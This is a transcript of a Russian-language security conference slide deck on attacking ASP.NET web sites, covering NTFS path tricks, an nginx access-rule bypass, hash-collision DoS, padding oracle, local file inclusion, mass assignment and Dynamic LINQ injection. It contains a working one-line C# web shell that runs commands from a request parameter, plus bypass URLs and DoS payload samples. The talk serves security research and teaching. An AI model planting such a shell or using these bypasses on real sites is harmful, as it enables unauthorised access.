Взломать сайт на asp.net

29
ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET? СЛОЖНО, НО МОЖНО! Positive Technologies

Upload: positive-hack-days

Post on 28-Nov-2014

6.809 views

Category:

Technology


12 download

DESCRIPTION

Взломать Web-сайт на ASP.NET? Сложно, но можно! Владимир Кочетков

TRANSCRIPT

Page 1: Взломать сайт на ASP.NET

ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET?

СЛОЖНО, НО МОЖНО!

Positive Technologies

Page 2: Взломать сайт на ASP.NET

Хорошо забытое старое: файловая системаХорошо забытое старое: файловая система

Устройства DOS и зарезервированные имена:

NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие необязательно, имена могут использоваться внутри пути

Зарезервированные символы:

< > : " \ / | ? *

Регистронезависимость имен:

Filename == FileName == filename == FILENAME

Поддержка коротких имен «8.3»:

LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT

Завершающие символы:

Filename == Filename... == Filename\\\

Page 3: Взломать сайт на ASP.NET

Хорошо забытое старое: файловая системаХорошо забытое старое: файловая система

Именованные каналы и почтовые слоты (CreateFile):

\\Host\pipe\<name> , \\Host\mailslot\<name>

Альтернативный синтаксис относительных путей:

C:\Windows\notepad.exe == C:notepad.exe , если \Windows – текущий каталог диска C:

Подстановки (FindFirstFile):

< == * , > == ? , " == .

UNC и Unicode пути:

C:\Windows\System32

\\Host\C$\Windows\System32

\\.\C:\Windows\System32

\\?\C:\Windows\System32

\\?\UNC\Host\C$\Windows\System32

Page 4: Взломать сайт на ASP.NET

Хорошо забытое старое: файловая системаХорошо забытое старое: файловая система

Метатрибуты и альтернативные потоки данных NTFS:

\Directory:<Name>:<Type>\File:<Name>:<Type>

C:\Windows\hh.exe == C:\Windows:$I30:$INDEX_ALLOCATION\hh.exe

C:\Windows\notepad.exe == C:\Windows\notepad.exe::$DATA

FileName.aspx == FileName.aspx:.jpg

Метатрибуты файлов Метатрибуты индексов

$STANDARD_INFORMATION $INDEX_ROOT

$FILE_NAME $INDEX_ALLOCATION

$DATA $BITMAP

$ATTRIBUTE_LIST

$OBJECT_ID

$REPARSE_POINT

Page 5: Взломать сайт на ASP.NET

[PT-2012-06] Обход ограничений Nginx[PT-2012-06] Обход ограничений Nginx

Рейтинг опасности: Средний (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N)

Подверженные версии: Nginx for Windows <= v1.3

Вектор: Удаленный

Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым URL-адресам в обход правил, определенных в директивах ‘Location’ конфигурации веб-сервера.

Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к исходному коду веб-приложения и закрытым разделам сайта, обнаружить новые уязвимости, украсть пароли подключения к базе данных и прочим сервисам и т.д.

:$I30:$INDEX_ALLOCATION

обрабатывались, как часть имени каталога.

Page 6: Взломать сайт на ASP.NET

[PT-2012-06] Обход ограничений Nginx[PT-2012-06] Обход ограничений Nginx

http://hostname/.svn/entries

http://hostname/.svn::$INDEX_ALLOCATION/entries

HTTP/1.1 200 OKServer: nginx/1.2.0

HTTP/1.1 403 ForbiddenServer: nginx/1.2.0

* стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23

…location ~/.svn/ { deny all;}…

Page 7: Взломать сайт на ASP.NET

Архитектура платформы .NETАрхитектура платформы .NET

Page 8: Взломать сайт на ASP.NET

Повреждения памятиПовреждения памяти

Взаимодействие с native-библиотеками, использование смешанных сборок

MS12-025, апрель 2012: - выполнение произвольного кода за пределами исполняющей среды через переполнение целого и повреждение кучи в gdiplus.dll при вызове конструктора

класса System.Drawing.Imaging.EncoderParameter.

Небезопасный управляемый код

unsafe void bufferOverflow(string s){ char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c }}

Page 9: Взломать сайт на ASP.NET

«Turkish I» и не только«Turkish I» и не только

Сравнение строк без учета текущей культуры, может привести к непредвиденным последствиям:

Английские культуры: I & i

Турецкие культуры: I & ı + İ & i

<%@ Page Language="C#" Culture="Auto" %><%@ Import Namespace="System.Globalization" %><! DOCTYPE html>…<script runat="server">…if (Session["mode"].ToLower() != "admin")…if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true)…

Page 10: Взломать сайт на ASP.NET

Коллизии хэшей объектовКоллизии хэшей объектов

System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта (принимает значения от -2147483648 до 2147483647).

(http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)

Page 11: Взломать сайт на ASP.NET

Коллизии хэшей в ASP.NET (MS11-100)Коллизии хэшей в ASP.NET (MS11-100)

Штатная ситуация: Не очень штатная ситуация:

3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&FX4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=&DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAY

U5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25E

WGNN5NE

… over 4Mb form data …(https://github.com/HybrisDisaster/aspHashDoS)

Page 12: Взломать сайт на ASP.NET

Хитрый план (post-mortem MS11-100)Хитрый план (post-mortem MS11-100)

1. Рассчитываем 1000 строк с коллизиями на каждую комбинацию «версия .NET»/«аппаратная платформа»

2. Отправляем каждый из наборов в качестве параметров POST-запроса

3. Замеряем время ответа на каждый запрос

4. ???

5. ;)

Page 13: Взломать сайт на ASP.NET

Web-стек .NETWeb-стек .NET

Page 14: Взломать сайт на ASP.NET

ASP.NET / MVCASP.NET / MVC

Page 15: Взломать сайт на ASP.NET

Специфика ASP.NETСпецифика ASP.NET

Специальные каталоги и файлы:

- App_Browser – определения браузеров (*.browsers);

- App_Code – исходный код вспомогательных классов и логики;

- App_Data – хранилища данных;

- App_GlobalResources, App_LocalResources – ресурсы приложения (*.resx, *.resources);

- App_Themes – темы (*.skin, *.css, images, etc);

- App_WebReferences – ссылки на web-сервисы (*.wsdl, *.xsd, *.disco, *.discomap);

- Bin – скомпилированные сборки, используемые приложением;

- web.config, web.*.config – конфигурационные файлы, определяющие настройки web-сервера и приложения.

Page 16: Взломать сайт на ASP.NET

Специфика ASP.NETСпецифика ASP.NET

Стандартные HTTP-обработчики:

- WebResource.axd – доступ к статическим ресурсам, внедренным в сборки приложения.

- ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся на диске.

Использование:

http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp>

Пример:

http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3-kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1

Где d, зашифрованный параметр:

Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c38a3a9b

Page 17: Взломать сайт на ASP.NET

Padding oracle (MS10-070)Padding oracle (MS10-070)

Последствия:

– получение ключей, необходимых для шифрования/дешифрования:

аутентификационных cookies;

ViewState и Event Validation;

аргументов для WebRecource.axd и ScriptResource.axd =>

чтение произвольных файлов внутри каталога приложения

Исправления:

при ошибке паддинга возвращается обощенная ошибка;

используется случайное число в качестве IV;

изменен формат шифруемых строк для их валидации;

ScriptResource.axd может обрабатывать только *.js файлы.

Page 18: Взломать сайт на ASP.NET

Специфика ASP.NETСпецифика ASP.NET

Стандартные HTTP-обработчики:

- Trace.axd – трассировка запросов (доступна только в режиме отладки)

Page 19: Взломать сайт на ASP.NET

Особенности эксплуатации LFIОсобенности эксплуатации LFI

Response.WriteFile(<vfilename>)

- позволяет включать любой файл внутри каталога приложения, кроме *.config;

- файл включается статически, выполнения кода не происходит;

- принимает в качестве аргумента виртуальное имя файла.

Server.Execute(<vfilename>)

- позволяет включать любой файл внутри каталога приложения, кроме *.config;

- выполняет обработчик для переданного файла, результат включает в ответ;

- принимает в качестве аргумента виртуальное имя файла.

File.ReadAllText(<filename>)

- позволяет включать любой файл, на который есть права;

- файл включается статически, выполнения кода не происходит;

- принимает в качестве аргумента реальное имя файла.

Page 20: Взломать сайт на ASP.NET

Минимальный C#-шеллМинимальный C#-шелл

<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%=Process.Start(    new ProcessStartInfo(        "cmd","/c " + Request["c"]    )    {        UseShellExecute = false,        RedirectStandardOutput = true    }).StandardOutput.ReadToEnd()%>

Page 21: Взломать сайт на ASP.NET

Состояние представления (ViewState)Состояние представления (ViewState)

Предназначено для передачи на сервер информации об элементах представления.

- передается в параметре __VIEWSTATE;

- шифрование и целостность часто не обеспечиваются;

- используется разработчиками, для хранения данных сессии на клиенте, хотя не предназначено для этого;

- нарушение его целостности может привести к реализации самых разнообразных угроз от XSS до нарушения функциональности приложения.

Page 22: Взломать сайт на ASP.NET

Подтверждение запросов и событийПодтверждение запросов и событий

Request Validation – встроенный примитивный WAF, направленный на предотвращение атак XSS. Блокируются все запросы, содержащие:

&# < с последующей буквой, !, / и ?

А также, игнорируются сторонние параметры, начинающиеся с __

Event Validation – встроенный механизм валидации данных событий. Представляет собой параметр __EVENTVALIDATION, хранящий хэши допустимых значений элементов форм, событий, ViewState и т.п.

Вопреки бытующему мнению,

неэффективен против CSRF-атак,

при стандартной реализации.

Page 23: Взломать сайт на ASP.NET

Mass assignmentMass assignment

public class User {    public int Id { get; set; }    public string UserName { get; set; }    public string Password { get; set; }    public bool IsAdmin { get; set; }}

public class UserController : Controller{    IUserRepository _userRepository;    public UserController(IUserRepository userRepository) {        _userRepository = userRepository;    }

    public ActionResult Edit(int id) {        var user = _userRepository.GetUserById(id);        return View(user);    }

    [HttpPost]    public ActionResult Edit(int id, FormCollection collection) {        try {            var user = _userRepository.GetUserById(id);            UpdateModel(user);            _userRepository.SaveUser(user);            return RedirectToAction("Index");        } catch {            return View();        }    }}

Model: Controller:

Page 24: Взломать сайт на ASP.NET

Mass assignmentMass assignment

(http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)

Page 25: Взломать сайт на ASP.NET

Внедрение выражений LINQВнедрение выражений LINQ

LINQ – язык запросов, встроенный в синтаксис .NET-языков.

var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 };

var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);

Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN);

Page 26: Взломать сайт на ASP.NET

Внедрение выражений LINQВнедрение выражений LINQ

Dynamic LINQ – одна из нескольких существующих библиотек для формирования динамических LINQ-запросов времени исполнения.

Возможности:

- определение выражений строками;

- основные примитивные операции;

- доступ к членам статических и экземплярных типов данных;

- создание экземпляров типов и анонимных типов;

Что, если "modifier" формируется из входных данных и содержит:

0 OR 1 == 1 ?

var modifier = "0";

var result = itemsList .Where("field1 % 2 == " + modifier) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);

Page 27: Взломать сайт на ASP.NET

Внедрение выражений LINQВнедрение выражений LINQ

Ограничения инъекций в Dynamic LINQ:

- доступ к полям, свойствам и методам возможен только для типа коллекции или для достижимых типов, определяемых «белым списком»;

- все части выражения должны выполняться без ошибок, в сообщениях об ошибках отсутствует полезный вывод;

- инъекции подвержены изолированные части запроса;

Возможности инъекций в Dynamic LINQ:

- обход аутентификации / авторизации;

- неавторизованный доступ к данным коллекции;

- нарушение функционала (при наличии у объектов коллекции statefull-полей);

- реализация угрозы отказа в обслуживании (DoS).

В других решениях возможна реализация угрозы удаленного выполнения кода (RCE)

Page 28: Взломать сайт на ASP.NET

Внедрение выражений LINQВнедрение выражений LINQ

Демо

Page 29: Взломать сайт на ASP.NET

Спасибо за внимание!

Вопросы?